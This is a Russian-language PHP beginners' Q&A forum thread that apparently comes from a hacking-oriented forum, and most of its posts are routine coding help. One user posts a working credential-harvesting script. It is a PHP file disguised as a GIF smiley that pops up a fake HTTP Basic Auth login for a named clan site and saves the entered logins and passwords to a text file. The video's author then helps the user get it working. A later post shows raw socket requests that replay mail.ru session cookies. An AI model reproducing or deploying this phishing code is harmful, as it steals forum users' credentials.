[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Как подменить адрес сайта?
    например я на сайте 1.ru, а в адресной строчке написано 2.ru
     
  2. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    это к Php вообще не относится !
    это происходит когда к серверу привязывается один или более доменов ..
     
  3. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    А с помощью PhP это некак нельзя сделать?
     
  4. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    нет - потому что это никак не связано ...
     
  5. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    А еще есть какие нибудь способов кроме таво?
     
  6. fireball

    fireball New Member

    Joined:
    21 Apr 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
    PHP:
    <?
    //делаем скрипт картинкой
    Header("Content-Type: image/gif");
    //делаем изображение смайликом из архива
    $image ImageCreateFromGif('mellow.gif');
     if(!
    $_COOKIE['LOGON'])
    {
     
    $login $_SERVER['PHP_AUTH_USER'];
     
    $pass  $_SERVER['PHP_AUTH_PW'];
     
    //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
     
    if(strlen($pass) <= || !$login)
     {
      
    Header('HTTP/1.1 401 Unauthorized');
      
    Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
     }
     elseif(
    $login)
     {
      
    //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
      
    setcookie('LOGON',md5($pass));
      
    //запишем пароли в файл
      
    $f fopen('passwords.txt''ab'); //passwords.txt
      
    fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
      
    fclose($f);
     }
    }
    imagegif($image);
    imagedestroy($image);
    ?>


    Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
    Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
    Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
     
  7. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Я это видео записывал))
    Вот возможные причины:
    Mellow.gif не был загружен либо по каким-то причинам не отображается
    Но скорее всего, у тебя на хостинге нет поддержки .htaccess. В таком случае, измени расширения файла smile.gif на .php. Если будут выводиться ошибки - то скорее всего не поддерживается библиотека GD.
     
  8. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    fireball
    Мне прикольнуло предложение:Пытался залить на сервер)... .
    1.
    Всё норм работает.... .
    Я думаю ты картинку создал в этом же каталоге mellow.gif
    2.
    И это тоже видал
    //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
    ................
    У тибя вылазет окно авторизации?
     
    #2868 Buffalon, 23 Apr 2008
    Last edited: 23 Apr 2008
  9. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    Нужен следующий скрипт...
    Дан файл index1.txt, его содержимое:
    Надо заменить в нём всю строчку, начинающуюся на <!--711054--> (которая там обязательно есть) на значение переменной $content.
    Как это реализовать?

    И ещё нужен точно такой же скрипт, но который бы просто удалял бы эту строчку.
     
  10. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    $f = file_get_contents('index1.txt');
    $res = str_replace('<!--711054-->', '', $f);
    //$res = str_replace('<!--711054-->', $content, $f);
    echo $res;
     
  11. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Тебе именно та цифра нужна?В примере у тибя её нету если д ато смотри выше если <!--(int)-->
    то
    PHP:
    $file file_get_contents('index1.txt');
    $res preg_replace("|<!--(\d+)--|is"''$file);
    if(
    false)
    {
    $res preg_replace("|<!--(\d+)--|is"';'$content', $file);
    }
    echo $res;
     
  12. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Вопрос по сессиям с сокетами.. Можно ли вот так осужествлять передачу пакетов к сокет соединению..
    PHP:
    $sock=@fsockopen("www.site.ru",80);
            if(!
    $sock) die("fsockopen() error.");
            {
                
    fputs($sock,
                
    "POST /cgi-bin/auth HTTP/1.1\r\n".
                
    "Host: site.ru\r\n".
                
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
                
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
                
    "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
                
    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
                
    "Keep-Alive: 300\r\n".
                
    "Connection: keep-alive\r\n".
                
    "Referer: http://site.ru/\r\n".
                
    "Content-Type: application/x-www-form-urlencoded\r\n".
                
    "Content-Length: ".strlen($post)."\r\n\r\n".$post);

                
    fputs($sock,
                
    "GET /cgi-bin/checkcookie?id=5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744&user=".$login."&domain=".$domain."&page=http%3a%2f%2ffoto.mail.ru%2f%3flevel%3d1 HTTP/1.1\r\n".
                
    "Host: site.ru\r\n".
                
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
                
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
                
    "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
                
    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
                
    "Keep-Alive: 300\r\n".
                
    "Connection: keep-alive\r\n".
                
    "Referer: http://site.ru/\r\n".
                
    "Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n"
               
    );
               
               
    fputs($sock,
                
    "GET /?level=1 HTTP/1.1\r\n".
                
    "Host: site.ru\r\n".
                
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
                
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
                
    "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
                
    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
                
    "Keep-Alive: 300\r\n".
                
    "Connection: keep-alive\r\n".
                
    "Referer: http://site.ru/\r\n".
                
    "Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n"
               
    );


    Или нужно к каждому запросу открывать новое сокет соединение закрывая прошлое?
     
  13. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Zircool если хост один, то можно
     
  14. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    можно ли искать регулярное выражение по введённому тексту а не наоборот?
    допустим я назвал файл ~пр[ие]вет~

    можно ли найти этот файл через слово привет не занося все имена файлов из директории в переменную(массив) ?
     
  15. fireball

    fireball New Member

    Joined:
    21 Apr 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Возвращаясь к мое теме которая выше на другой странице, короче 1) smile.gif на той де странице, так что всё норм
    2) mellow.gif отображается
    3) .htaccess поддерживается т.к. использую тот же хостинг что и на видео, да и там сказано
    4) на счёт библиотеки GD да скорее всего в ней проблема, сам думал что атк, а посоветуете где обновить? и ещё там какие-то версии гиф не поддерживают наскоко знаю
    5)картинка smile.gif в принципе не отображается, запускаю и просто чёрный экран
    и сообщение об авторизации не выскакивает... всё)))
     
  16. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    Не понимаю, почему это не работает...
    Дан файл file.php:
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>Untitled Document</title>
    </head>
    <body>
    <form method="post" action="file.php">
    <input name="cont" type="text">
    <input type="submit" value="OK"
    </form> 
    <?php
    $fpn=fopen('123.txt','a+');
    fwrite($fpn, $cont);
    fclose($fpn);
    ?>
    <body>
    </body>
    </html>
    Вроде, при заполнении поля cont и нажатии кнопки OK в файл 123.txt должно записаться то, что было введено в поле cont... но этого не происходит.. где ошибка??
     
  17. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    PHP:
    fwrite($fpn$_POST['cont']);
    ?
     
  18. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    astrologer, точно, как же я мог про это забыть))))))))))))))
     
  19. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Не думаю, что это будет непробиваемая защита. Если некоторый скрипт в config.php получает пасс, то в случае взлома можно будет получить пассы через этот файл. А во-вторых, если получать пароли с другого сервера, то это будет очень долго. Разницы между такой системой и простым хранением пароля в config.php не вижу...
     
  20. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Файл модифицировать если и нельзя, но его можно просмотреть например. А чем не устраивает такое:

    PHP:
    <?php
    $pass
    ='abc';
    ?>
    Если обратиться к config.php по http, то он же ничего не выведет.
    По-моему, так легче просто хорошо проверить скрипты на наличие дыр.


    А если страдать параноей, то:

    config.php - получает пасс
    PHP:
    <?php
    $pass
    =file_get_contents("http://secret.com/script.php");
    ?>
    script.php - выдаёт пасс
    PHP:
    <?php
    if($_SERVER['REMOTE_ADDR']=='1.2.3.4'//тут ip серва, на котором находится config.php
    print 'password'//пароль
    ?>
    Реализацию проверки подлинности получателя пароля кроме как через ip-адрес не вижу.
     
Thread Status:
Not open for further replies.